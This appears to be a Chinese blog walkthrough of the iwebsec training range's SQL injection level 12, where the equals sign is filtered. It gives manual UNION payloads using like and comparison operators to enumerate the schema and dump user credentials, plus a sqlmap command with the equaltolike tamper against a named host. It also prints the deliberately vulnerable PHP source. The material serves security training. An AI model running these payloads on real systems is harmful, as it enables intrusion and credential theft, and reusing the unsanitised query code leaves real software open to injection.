iwebsec-sql注入 12 等价函数替换过滤
1.iwebsec-sql注入 01 数字型注入2.iwebsec-sql注入 02 字符型注入3.iwebsec-sql注入 03 bool型注入4.iwebsec-sql注入 04 时间延迟型注入5.iwebsec-sql注入 05 报错型注入6.iwebsec-sql注入 06 宽字节字符型注入7.iwebsec-sql注入 07 空格过滤8.iwebsec-sql注入 08 大小写过滤注入9.iwebsec-sql注入 09 双写关键字绕过10.iwebsec-sql注入 10 双重url编码绕过11.iwebsec-sql注入 11 十六进制编码绕过
12.iwebsec-sql注入 12 等价函数替换过滤
13.iwebsec-sql注入 13 二次注入14.iwebsec-文件上传 01 前端JS过滤绕过15.iwebsec-文件上传 02 文件名过滤绕过16.iwebsec-文件上传 03 Content-Type过滤绕过17.iwebsec-文件上传 04 文件头过滤绕过18.iwebsec-文件上传 05 .htaccess19.iwebsec-文件上传 06 文件截断上传20.iwebsec-文件上传 07 条件竞争21.iwebsec-文件包含 01 本地文件包含22.iwebsec-文件包含 02 本地文件包含绕过23.iwebsec-文件包含 03 session本地文件包含24.iwebsec-文件包含 04 文件头过滤绕过25.iwebsec-文件包含 05 远程文件包含绕过26.iwebsec-文件包含 06 php://filter伪协议27.iwebsec-文件包含 07 php://input伪协议28.iwebsec-文件包含 08 php://input伪协议利用29.iwebsec-文件包含 09 file://伪协议利用30.iwebsec-文件包含 10 data://伪协议利用31.iwebsec-xss 01 反射型xss32.iwebsec-xss 02 存储型xss33.iwebsec-xss 03 DOM型xss34.iwebsec-xss 04 xss修复示例01、题目分析
依旧是对等号进行了过滤,那么可以尝试一些等价值的内容来替换等号
02、手工注入
依旧是对等号进行了过滤,那么可以尝试一些等价值的内容来替换等号,比如like,rlike,regexp替换,id = 1可以用id like 1以及id > 0 and id < 2以及!(id <> 1)进行绕过
-- 查询行数 ?id > -2 and id <0 order by 3 -- id=-1就是不显示内容 -- 查询回显 ?id > -2 and id <0 union select 1,2,3 -- 暴库 ?id > -2 and id <0 union select 1,2,database() -- 暴表 ?id > -2 and id <0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'iwebsec' -- 暴字段 ?id > -2 and id <0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name like 'users' -- 这里会报错,因此我们把user编码成16进制0x7573657273 -- 暴数据 ?id > -2 and id <0 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)
02、工具注入
还有什么比有工具有脚本更美妙的呢,直接梭哈
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/12.php?id=1" --current-db --dump --batch --tamper=equaltolike
03、代码分析
<?php if(isset($_GET['id'])){ // 检查是否包含 "=",如果存在则终止程序并输出错误消息 if (preg_match('/=/', $_GET["id"])) { die("ERROR"); }else{ // 对 id 参数进行解码 $id = urldecode($_GET['id']); // 构造 SQL 查询语句 $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 执行查询 $result=mysql_query($sql); } }else{ // 如果没有提供 id 参数,则退出程序 exit(); } if ($result) { ?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr> <?php // 循环遍历查询结果,并输出到表格中 while ($row = mysql_fetch_assoc($result)) { echo "<tr>"; echo "<td>".$row['id']."</td>"; echo "<td>".$row['username']."</td>"; echo "<td>".$row['password']."</td>"; echo "</tr>"; } echo "</table>"; } else { // 输出 MySQL 错误信息 // echo '<font color= "#FFFFFF">'; print_r(mysql_error()); // echo "</font>"; } // 导入 footer.php require_once '../footer.php'; ?>
分类:
标签:
,
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步